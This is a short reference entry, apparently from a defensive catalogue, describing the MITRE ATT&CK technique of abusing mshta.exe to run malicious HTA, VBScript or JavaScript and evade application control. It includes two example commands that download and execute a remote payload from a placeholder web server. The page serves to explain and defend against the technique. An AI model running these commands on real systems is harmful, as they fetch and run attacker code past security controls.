System Binary Proxy Execution: Mshta

Created the Saturday 04 March 2023. Updated 1 year, 2 months ago.

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

• System Binary Proxy Execution: Mshta, Sub-technique T1218.005 - Enterprise | MITRE ATT&CK®